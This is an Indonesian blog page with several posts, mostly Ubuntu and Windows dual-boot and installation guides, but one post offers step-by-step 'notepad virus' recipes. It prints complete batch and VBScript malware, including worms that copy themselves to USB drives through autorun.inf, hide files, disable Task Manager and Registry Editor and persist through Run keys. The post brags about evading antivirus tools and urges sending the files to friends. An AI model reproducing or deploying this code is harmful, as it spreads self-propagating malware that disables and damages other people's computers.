Recent Articles

Saturday, October 2, 2010

Ubuntu dan Windows XP dual booting

Saturday, October 2, 2010 - 0 Comments

Minimal komputer Anda berspesifikasi RAM (memory) 256 MByte dan menyisakan ruang kosong harddisk 4 GB untuk Ubuntu. Dalam praktek, saya menggunakan CD Ubuntu 7.04 (Feisty Fawn), harddisk 40 GB yang telah terisi Window$ (sisanya saya instalasikan Edubuntu namun sekarang saya timpa dengan Ubuntu terbaru), menggunakan RAM 512 Mbyte, dan prosesor AMD Sempron 2800+.

TENTANG PARTISI DAN FILE-SYSTEM

Untuk menginstalasi sistem Multi Booting Anda harus mengerti konsep tentang partisi dan file-system. Sekadar memberitahu Anda, partisi adalah suatu bagian harddisk tempat “mewadahi” kerja program sistem-operasi. Bila sistem-operasinya berbeda maka bentuk partisinya pun berbeda, karena cara kerja tiap sistem operasi berbeda. Bentuk (format) partisi ini dinamakan file-system. Filesystem Linux berbeda dengan Windows. Saya umpamakan Linux sebagai direktur toko swalayan, tentu tempatnya bekerja adalah lingkungan toko swalayan. Sedangkan Window$ saya umpamakan sebagai ketua kantor pajak, tentu tempatnya bekerja adalah lingkungan kantor pajak. Pada kenyataannya Linux hanya bisa bekerja dengan baik di atas harddisk dengan format file-system berjenis extended (ext2 dan ext3) serta jenis Reiser, sedangkan Window$ hanya bisa bekerja di atas file-system jenis NTFS dan FAT32. Jadi pada praktek ini, sebelum kita menginstalasi Linux di harddisk, kita harus membuat partisi dengan filesystem ext3.


Selain itu, sistem operasi hanya bekerja di atas partisi Primary, bukan Extended. Extended biasanya digunakan untuk menyimpan data.

Gambar berikut ini adalah layar Ubuntu yang dijalankan langsung dari CD di komputer saya (istilahnya “LiveCD”). Selain bisa mencicipi Linux tanpa menginstalasi di harddisk, CD ini juga digunakan sebagai CD installer.

Untuk membuat partisi baru Anda bisa menggunakan program semacam Partition Magic di Window$ atau dari program pembuat partisi harddisk yang telah disediakan di LiveCD Ubuntu yang kita gunakan. Akan saya berikan contoh penggunaan program pemartisi bawaan LiveCD Ubuntu dan Kubuntu (Ubuntu dengan lingkungan “KDE”).
Bila kita menggunakan LiveCD Ubuntu, kita memakai program pembuat dan penata partisi “GParted” yang bisa diakses dengan memilih Menu System > Administration > Gnome Partition Editor. Sedangkan bila memakai Kubuntu, kita bisa memakai program “QTParted” yang bisa diakses dengan memilih menu K > System > QTParted.
gparted

qtparted

Pada gambar di bawah ini saya telah memiliki banyak partisi. Yaitu yang ada di bawah direktori-sementara dengan posisi [/dev/hda]. Bila Anda memiliki harddisk SATA atau flashdisk terpasang di komputer Anda maka yang akan ditampilkan adalah direktori [/dev/sda]. Pada contoh berikut, layar menampilkan harddisk yang sudah pernah dipartisikan sebelumnya. Yaitu [/dev/hda1] sampai [/dev/hda8]. Terlihat tidak urut ya? Maklumlah, dulu saya pernah mengutak-atiknya. Coba Anda perhatikan kolom “Tipe”, maka Anda akan melihat jenis format yang berbeda seperti ext3, swap, fat32, dan ntfs. Itu karena dulu saya pernah melakukan “bagi-bagi” partisi. Jangan bila Anda heran bila milik Anda lebih sedikit daripada saya. Pertamakali kita akan mengambil sebagian ruang ber-filesystem fat32 atau ntfs milik kita untuk kita jadikan filesystem ext3. HATI-HATI! Jangan Anda ambil dari filesystem utama Windows [C:], hal ini untuk meminimalkan resiko kerusakan sistem Windows Anda. Misalkan kita ambil dari partisi yang biasanya kita gunakan untuk menyimpan data-data yaitu [D:], [E:], atau lainnya. Caranya sorot baris partisi yang dimaksud lalu klik kanan dan pilih “Resize”.

Perhatian! Partisi yang akan diformat dan di-resize aka menghapus semua isi data dalam partisi yang bersangkutan. Berhati-hatilah dan lakukanlah back-up sebelumnya.

Isilah jendela dialog di bawah ini pada baris terakhir “Free Space Following (MiB)” dengan nilai 4334 (dalam satuan Megabyte). Itu artinya partisi kosong sebesar 4 Gigabyte akan kita buat di urutan partisi berikutnya. Dengan demikian baris “New Size” jumlahnya akan berkurang, karena ruang partisi induknya sudah di ambil. Warna kuning pada kotak hijau adalah banyaknya data kita di dalamnya. Lalu klik tombol “Resize/Move”.

Setelah selesai, ubahlah ruang kosong yang tersisa di harddisk Anda menjadi format ext3. Caranya klik kanan ruang kosong tersebut lalu pilih “Format to: ext3”. Dulu saya pernah mempartisi harddisk dengan ext3 (ada yang Primary dan ada yang Extended), sehingga di layar pun sudah tersedia partisi dengan format filesystem ext3. Sedangkan bagi yang belum pernah, maka tampilan harddisk ext3 akan ditampilkan setelah proses perubahan. Pada harddisk saya partisi Primary tersedia tiga buah yaitu [/dev/hda1], [/dev/hda3], dan [/dev/hda4]. Sedangkan partisi Extended ada empat (di bawah cakupan [/dev/hda2]) yaitu [/dev/hda5], [/dev/hda6]. [/dev/hda7], dan [/dev/hda8]. Perhatikan kolom “Flags”, [dev/hda4] mempunyai nilai “boot”. Artinya partisi Windows (ntfs) ini juga akan diikutsertakan dalam pilihan saat komputer dinyalakan.

Anda juga perlu mengambil ruang kosong minimal 256 Megabyte untuk dijadikan filesystem swap. Swap bekerja sebagai pembantu memory (di Windows dinamakan pagefile). Kita harus membuatnya terpisah di sistem Linux. Caranya seperti tahapan membuat partisi di atas. Hanya saja kita pilih “Format to:” dengan memilih “swap”.

Setelah memiliki partisi dengan filesystem ext3 dan swap, kita bisa memulai proses instalasi.
Untuk memulainya, klik ganda icon “install” di layar desktop.
Berikutnya adalah jendela dialog “Welcome”, jika Anda menginginkan bahasa Indonesia pilihlah dari kolom sebelah kiri. Dengan demikian dialog dan setting selanjutnya akan diganti dengan bahasa kita. Lalu klik tombol “Maju” di bawah.

Sekarang muncul jendela tentang lokasi dan zona waktu kita, pilihlah Jakarta. Klik tombol “Maju”.Di jendela berikutnya pilihlah lay-out keyboard “U.S English” sebagai standar internasional. Bila Anda menggunakan komputer Macintosh (iBook/Powerbook) yang prosesornya kompatibel (PowerPC G4 dan G5) maka pilihlah di “U.S English-Macintosh” di kolom kanan. Klik tombol “Maju”. Perhatian: Saya belum pernah mencoba instalasi Ubuntu di iBook/Powerbook, maka saya tidak bisa menjamin instalasi Ubuntu di iBook/Powerbook Anda.

Kemudian kita akan menjumpai jendela dialog pilihan cara bagaimana kita akan mempartisi harddisk kita. Pilihlah cara Manual. Lalu klik “Maju”.Maka akan muncul jendela daftar partisi seperti screeshot di bawah ini. Saya menyorot (mengeklik) partisi [/dev/hda3] untuk diubah “mount poin”-nya dari posisi [/media/hda3] menjadi direktori root [/]. Proses “mounting” adalah proses pengaitan alat penyimpanan ke sistem. Apabila kita membuat “mount poin” berarti kita membuat semacam tanda agar nantinya partisi yang bersangkutan dikaitkan sesuai derajatnya di sistem. Direktori root [/] adalah direktori tertinggi dalam struktur manajemen file di Linux. Maka saya membuat salah satu partisi sebagai root [/]. Direktori root [/] mirip dengan direktori [C:] di Windows. Tetapi cara kerjanya jauh berbeda. Bila Anda ingin mengetahui beberapa perbedaan manajemen file antara Linux dan Window$. Cara untuk mengubah “mount poin” adalah dengan mengeklik tombol “Edit partisi”, lalu klik “Maju”.

Anda bisa mengubah “mount poin” menjadi root dengan memberinya tanda slash [/]. Biarkanlah baris di atasnya karena ukurannya sudah benar, dan jenis filesystem-nya sudah benar.

Maka daftarnya akan berubah seperti di bawah ini. Saya memberi tanda cek (V) pada kolom format partisi yang bersangkutan karena sebelumnya ada Edubuntu di situ. Namun bagi Anda tidak usah memformat pun tidak apa-apa, karena Anda tidak memiliki sistem Linux apapun sebelumnya.

Sedangkan tabel “mount point” lainnya, seperti [/media/hda6], [/media/hda7], [/media/hda8], dan seterusnya … kita biarkan saja. Nanti secara otomatis di layar desktop akan terlihat partisi hda6, hda7, hda8, dan seterusnya telah terkait (ditampilkan). Pada jendela ini kita klik “Maju”.

Pada jendela berikutnya, kita bisa bermigrasi dari “Document and Setting” milik kita sebagai user di Window$. Silahkan pilih (tanda cek) dari akun user yang Anda perlukan. Lalu buatlah sebuah akun user di Ubuntu sebagai tempat migrasinya. Bila Anda tidak memilih satupun untuk dimigrasikan tidak apa-apa. Klik “Maju”.

Pada tahap berikutnya Anda perlu mengisi nama user Anda di Ubuntu dan password-nya. Klik “Maju”.

Berikutnya akan muncul jendela ringkasan setting global yang tadi telah Anda lakukan. Klik “Install”.

Inilah proses puncaknya. Sistem Ubuntu disalin ke komputer Anda. Di komputer saya, proses loading ini memakan waktu sekitar dua puluh lima menit. Bila spesifikasi komputer Anda lebih rendah daripada milik saya, waktunya akan lebih lama. Bersabarlah sambil mengerjakan sesuatu yang berguna.

Jika telah selesai, kita akan diberi pilihan me-restart komputer kita atau meneruskan LiveCD. Mendingan restart aja dari sistem di harddisk. CD installer-nya akan dikeluarkan secara otomatis.

Instalasi di atas partisi Windows bisa Anda lakukan bila sudah ada sistem Windows di dalamnya. Bila belum ada harus menginstalasi Window$ terlebih dahulu. Karena sangat susah untuk menginstal Windows belakangan setelah ada partisi Linux, (saya belum tau caranya). Bila Window$ diinstall belakangan dengan cara biasa akan merusak partisi Linux. Saya pernah mengalaminya.

Program Mudah Instalasi Dual Boot

Halah judulnya kayak promosi aja huhuhu :P Iseng hari ini mau coba cari cara praktis untuk menginstall dual boot di komputer kamar untuk porting server nexustk emulator ke dalam versi *nix. Entah menggunakan program apa tapi kayaknya saya akan menggunakan gambas. Awalnya saya sudah ketemu artikel yang bagus tapi kayaknya terlalu ribet jadinya malas mau ngikutin. Kalau mau dibaca silahkan baca disini.
Setelah googling sebentar akhirnya saya di referensikan ke website wubi hmmmm cocok banget deh dengan apa yang saya butuhkan pengennya sih install dual bot cara praktis (maklum kalau ribet kapan cetak dollarnya :P ) ya sudah saya baca² sebentar FAQ-nya ok deh kayaknya nggak ada masalah langsung saja saya download tapi ternyata ketika mau di coba saya mengalami error……. entah error ini kenapa karena alasannya tidak disebutkan log error juga tidak ada…
wubi-error
Setelah jengkel gak bisa juga akhirnya saya cari arsip lama wubi dan mencoba versi Wubi-8.04.506 Akhirnya bisa juga running program ini langsung saja siapkan instalasi……
wubi-1
Mudah banget konfigurasinya tinggal pilih-pilih hehehe, ketika sedang proses instalasi ternyata wubi versi ini membutuhkan file ubuntu hardy iso. Sial banget koneksi internet dari speedy yang katanya maha super kencang tapi ternyata lemot ini cuma bisa download 10 kbps dari server alhasil total kalkulasi perkiraan waktunya 22 jam!!!
Yang bener aja nih, kelamaan deh akhirnya saya iseng mau bypass step ini dengan mendownload file ubuntu hardy iso menggunakan download accelerator hehe maksudnya biar nggak terlalu lama… setelah cari log sebentar ketemu deh lokasi file iso-nya di http://cdimage.ubuntu.com/hardy/daily-live/20090713.1/hardy-desktop-i386.iso Lumayan cepat juga menggunakan download accelerator membutuhkan waktu 2 setengah jam hmm… lumayan lah dari pada 22 jam.
Setelah itu dari FAQ saya baca file iso harus di letakkan bersamaan dengan file wubi agar tidak perlu mendownload ulang… Ternyata ini BUG saya coba berkali kali tetap tidak bisa. Akhirnya saya bypass lagi dengan meletakkan file iso ini di \ubuntu\installs\hardy-desktop-i386.iso running lagi wubi ternyata berhasil bypass file ini. Proses instalasi sendiri memakan waktu kurang lebih 5 menit setelah itu muncul pesan reboot untuk melanjutkan instalasi.
wubi-2
Setelah reboot otomatis akan keluar pilihan operating system, langsung saja pilih ubuntu untuk melanjutkan proses instalasi. Tunggu hingga selesai kira-kira 15-20 menit, lalu restart komputer lagi. Sudah deh jadi dual boot windows dan ubuntu tinggal pakai saja hehehe..
wubi-5
wubi-6
Enaknya pakai wubi ini kita tidak perlu ribet pusing-pusing atur format partisi karena wubi ini basicnya membuat sebuah virtual partisi yang akan digunakan oleh ubuntu. Proses un-install juga mudah sekali bisa di remove langsung dari control panel.
wubi-3
Asik kan jadi seru punya 3 Operating system dalam 1 komputer huhuhu… saya penasaran lalu coba edit boot.ini punya windows.
wubi-4
Ternyata itu toh loadernya hmmm.. bagus deh program wubi ini saya rekomendasikan untuk digunakan. Daripada pakai cara ribet mending pakai wubi saja praktis dan termanajemen dengan baik

Kumpulan Cara membuat virus paling mudah dengan notepad (hanya )

Sebenarnya tujuan sebenarnya postingan ini hanyalah ingin menunjukan betapa rentanya System Operasi Windows terhadap Virus. Hanya bermodalkan notepad anda sudah bisa membuat virus yang sangat mematikan bahkan antivirus handalpun tidak dapat mendeteksinya.
Catatan : Jangan disalah gunakan, dan untuk lebih amanya gunakan OS Linux desktop yang lebih mudah dan aman :D
ok, kita mulai aja. Ketikan tulisan di bawah ini ke notepad kosong/baru:

Virus Notepad 1:

@echo off
C:
cls
Echo Do you want to kill all program’s? (Y/N)
pause >nul
cls
Echo Are you sure want to delete all data? (Y/N)
pause >nul
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
ping localhost -n 2 >nul
cls
dir /s
shutdown -s -t 900 -c “you have been
:hack
echo You have just been hacked
goto hack
setelah itu, save as notepad tersebut dengan [nama].bat (bukan [nama].Txt). maka program tersebut siap dikirimkan ke komputer temanmu yang jantungan biar cepet mati.

Virus Notepad 2:
Virus ini di beri nama Kalong.VBS oleh penciptanya. Virus sederhana dengan menggunakan notepad. Buka notepad-nya. Silahkan Copy kode pada kolom di bawah ini. ‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//


on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set kalong = createobject(“WScript.Shell”)

‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(“Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode


Save code di Notepad dengan cara FILE >> SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Virus Worm ini, lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.


Virus Notepad 3 :
Virus ini efeknya tidak terlalu berbahaya. efek dari virus ini hanya mengganti tampilan dari windows saja. Tapi sedikit bikin kaget juga, karena hampir tidak terdeteksi oleh Anti Virus. Virus ini hanya aktif dan bisa bekerja pada Windows XP. caranya? Buka notepad lalu copy paste dan di edit terlebih dulu script di bawah ini :


@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f


Lalu di SAVE AS ALL FILES dengan exstensi .bat misal : nama_file.bat. Kemudian buat Autorun.inf dengan script :

[autorun]
open=nama_file.bat


Lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf). File - file tersebut harus dalam 1 direktori, lalu seleksi file - file tersebut, klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY, copy file-file tersebut ke CD dan nikmati efeknya.

Virus Notepad 4

Virus notepad berikutnya adalah virus yang sangat berbahaya. Buka program notepad. Copy paste scrib di bawah ini, simpan dengan nama ganas_banget.exe.vbs


‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe erwinda_putra.exe.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox “salamaik tibo di virus camp_luck” & vbcrlf & _
“ondeh sanak maaf stek yo awak masuak ka sistem sanak anok-anok” & vbcrlf & _
“dunsanak komputer dunsanak awak kuasai stek dih. kini dunsanak masuak dalam permainan suruak manyuruan” & vbcrlf & _
“iko permainan yang paten ma dunsanak” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok selah dih dunsanak beko tajadi yang indak-indak ko” & vbcrlf & vbcrlf & _
” aaa kini saaiknyo ma dunsanak”

loop

Virus Notepad 5

Virus yang terakhir hanyalah sekedar pengetes Anti Virus Anda. Ini adalah script sederhana (virus ringan katakanlah) buat sekedar ngetes antivirus. Saat disimpan kalo tidak terjadi apa - apa, berarti memang antivirus itu teramat jelek maka perlu diganti.

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Copy paste source code diatas ke notepad abis itu coba simpan dengan nama apa saja terserah Anda.

Sumber:http://arieprastyo.blogspot.com/2009/04/membuat-virus-sederhana-dengan-notepad.html
http://ifoell.blogspot.com/2010/01/membuat-virus-dengan-notepad_20.html

Langkah-langkah Cara Instalasi Linux Ubuntu

Berikut panduan langkah demi langkah
instalasi Ubuntu 10.04 LTS Lucid Lynx

Ubuntu 10.04 yang juga dikenal dengan sebutan Lucid lynx telah dirilis pada tanggal 29 April 2010 yang merupakan rilis keduabelas dari OS Ubuntu. Rilis ini merupakan rilis LTS (Long Term Service) yang artinya rilis ini mendapat dukungan panjang dari Ubuntu. Tutorial ini dibuat untuk memberikan panduan kepada siapaun yang ingin menginstall Ubuntu 10,04 pada komputer pribadinya.
Cara install Ubuntu 10.04 ini ditujukan untuk orang-orang yang belum pernah menginstall Ubuntu pada komputernya namun menginginkan os ini beroperasi pada komputernya. Tutorial ini akan memudahkan pekerjaan Anda dalam melakukan instalasi Ubuntu 10.04, namun jika Anda mengalami permasalahan dalam proses instalasi, jangan ragu untuk menulis di teriakan, kami dari Linux Majapahit akan dengan senang hati membantu Anda.
Persyaratan:
Anda butuh Ubuntu 10.04 LTS Desktop ISO image yang sesuai dengan arsitektur Komputer Anda (i386 atau amd64), dan bisa didownload dari sini. Bila Download Anda sudah selesai, bakar ISO image tersebut dengan aplikasi CD/DVD burning favorit Anda (Nero, CDBurnerXP, Roxio) pada CD blank dengan speed 8x.
Setelah kita memiliki cdnya kita boot komputer kita dengan cd ubuntu 10.04. Anda akan melihat wallpaper untuk beberapa saat sampai jendela install muncul . Pilih bahasa yang anda inginkan untuk proses instalasi dan bahasa default yang akan anda pakai selanjutnya. Dalam tutorial ini saya pakai bahasa indonesia
Klik pada tombol install ubuntu 10.04 LTS.
Klik Tombol Forward
Dimana Anda?
Layar ketiga akan menampilkan peta bumi. Waktu dari sistem komputer Anda akan menggunakan pilihan lokasi yang Anda tentukan. Anda juga dapat memilih lokasi menggunakan drop down list yang terletak pada bagian bawah layar. Klik tombol “Forward” setelah Anda memilih lokasi yang diinginkan…
Test keyboard Anda
Pada layar ketiga, Anda bisa memilih layout keyboard yang Anda inginkan. Namun layout default biasanya adalah yang sering digunakan. Klik tombol “Forward” jika konfigurasi keyboard telah selesai Anda tentukan.

Partisi Hard Disk
Anda memiliki Tiga pilihan:




  1. Jika Anda ingin menghapus operating system yang ada, atau hard drive sudah kosong dan Anda ingin installer secara otomatis melakukan partisi hard drive, pilihlah opsi Pertama, “Hapus dan gunakan seluruh cakram”.




  2. Opsi Kedua adalah “Gunakan ruang kosong terbesar yang menyatu” dan akan menginstall Ubuntu 10.04 pada space yang belum dipartisi pada hard drive yang dipilih.




  3. Opsi keempat adalah “Specify partitions manually” dan pilihan ini sangat direkomendasikan untuk pengguna level advanced, pilihan ini untuk membuat partisi khusus atau melakukan format hard drive dengan sistem file lain. Ini juga dapat digunakan untuk membuat partisi /home yang sangat berguna untuk melakukan instalasi ulang keseluruhan sistem.




  1. Opsi keempat adalah “Specify partitions manually” dan pilihan ini sangat direkomendasikan untuk pengguna level advanced, pilihan ini untuk membuat partisi khusus atau melakukan format hard drive dengan sistem file lain. Ini juga dapat digunakan untuk membuat partisi /home yang sangat berguna untuk melakukan instalasi ulang keseluruhan sistem.
Nb: Untuk opsi ini akan di bahas pada artikel selanjutnya.
Siapakah Anda ?
Pada layar ini, Anda harus memasukkan data yang benar sesuai pertanyaannya. Isilah kolom yang tersedia dengan nama asli Anda, nama yang Anda inginkan untuk login pada OS Ubuntu (yang disebut juga dengan “username” yang dibutuhkan untuk login pada system), password dan nama komputer (secara otomatis sudah tertulis, namun bisa Anda ganti).
Pada tahapan ini, ada opsi yang disebut “Masuk secara otomatis”. Jika kotak pilihan ini Anda centang, maka Anda akan login secara otomatis pada Ubuntu Desktop. Klik tombol “Forward” untuk melanjutkan...
Apakah Anda sudah benar-benar siap menggunakan Ubuntu?
Ini adalah langkah akhir instalasi. Pada tahapan ini, Anda dapat memilih untuk menginstall boot loader pada partisi lain atau hard drive, namun ini sangat direkomendasikan bagi yang sudah advanced saja.
Klik tombol pasang
Ubuntu anda segera di pasang
Setelah kira-kira 10 sampai 18 menit (tergantung pada spesifikasi komputer Anda), pop-up window akan muncul, mengingatkan Anda bahwa instalasi sudah selesai, Anda perlu melakukan restart komputer untuk melihat operating system Ubuntu berjalan. Klik tombol “Restart Now”… Atau “Restart Sekarang”
CD akan dikeluarkan dari CD ROM, lalu tekan tombol “Enter” untuk reboot. Komputer akan direset, dalam beberapa saat Anda akan melihat Ubuntu boot splash dan Xsplash… terus melihat jendela login. klik pada username Anda dan masukkan passwordnya. Klik Log in atau tombol enter…
Setelah berhasil login Anda siap menikmati Ubuntu 10.04 LTS Anda.
Penulis dedikasikan untuk para Ubuntuer seluruh indonesia.

Bosen Install Ulang Karena Virus Deep Freze in Aja


Komputer anda terkena virus? program terhapus secara tidak sengaja? komputer mendadak hang setelah anda install sesuatu? bosen ngadapin masalah kaya gt dan harus instal ulang. Kalau gitu saya ada solusinya. Anda memakai Deep Freeze, hal ini akan bisa cegah... semua masalah diatas



